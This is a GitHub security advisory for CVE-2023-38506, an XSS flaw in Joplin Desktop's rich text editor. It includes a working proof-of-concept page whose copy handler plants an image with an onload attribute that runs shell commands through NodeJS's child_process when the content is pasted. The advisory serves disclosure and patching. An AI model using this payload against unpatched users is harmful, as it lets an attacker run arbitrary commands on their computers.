Skip to content

XSS when pasting HTML into the rich text editor

High
laurent22 published GHSA-m59c-9rrj-c399 Jun 21, 2024

Package

joplin-desktop (Joplin Desktop)

Affected versions

<= 2.12.9

Patched versions

2.12.10

Description

Summary

An XSS vulnerability allows pasting untrusted data into the rich text editor to execute arbitrary code.

Details

Currently, HTML pasted into the rich text editor is not sanitized (or not sanitized properly). As such, the onload attribute of pasted images can execute arbitrary code. Because the TinyMCE editor frame does not use the sandbox attribute, such scripts can access NodeJS's require through the top variable. From this, an attacker can run arbitrary commands.

PoC

<!DOCTYPE html>
<html>
<body>
<h1>Select this text & copy it with ctrl+C</h1>
<script>
document.oncopy = evt => {
    console.log('oncopy');
    evt.clipboardData.setData('text/html', `Evil image: <img onload="document.body.innerHTML += top.require('child_process').exec('ls -la', (err, stdout) => {document.body.innerText = stdout})" src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSItMjEuNSAtMTAuNSAxMTMgMTE5IiB3aWR0aD0iMTEzIiBoZWlnaHQ9IjExOSIgdmVyc2lvbj0iMS4xIiBiYXNlUHJvZmlsZT0iZnVsbCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48c3R5bGUgaWQ9ImpzLWRyYXctc3R5bGUtc2hlZXQiPnBhdGh7c3Ryb2tlLWxpbmVjYXA6cm91bmQ7c3Ryb2tlLWxpbmVqb2luOnJvdW5kO310ZXh0e3doaXRlLXNwYWNlOnByZTt9PC9zdHlsZT48cGF0aCBkPSJNOTEuNSwxMDguNWwwLTExOWwtMTEzLDBsMCwxMTlsMTEzLDAiIGZpbGw9IiNmZmZmZmYiIGNsYXNzPSJqcy1kcmF3LWltYWdlLWJhY2tncm91bmQiPjwvcGF0aD48cGF0aCBkPSJNNTUsNDlxMC0xMiAtMTAtMThxLTEwLTUgLTIwLDBxLTEwLDYgLTEwLDE4cTAsMTIgMTAsMThxMTAsNSAyMCwwcTEwLTYgMTAtMTgiIGZpbGw9Im5vbmUiIHN0cm9rZT0iI2ZmNTA1MCIgc3Ryb2tlLXdpZHRoPSIxMyI+PC9wYXRoPjwvc3ZnPg=="/>`);
    evt.preventDefault();
}
</script>
</body>
</html>
  1. Open a page with the above HTML in a web browser.
  2. Select the heading and copy it
  3. Paste it into Joplin's rich text editor.

Impact

This is an XSS vulnerability that impacts anyone who pastes untrusted data into the rich text editor.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L

CVE ID

CVE-2023-38506

Weaknesses

No CWEs

Credits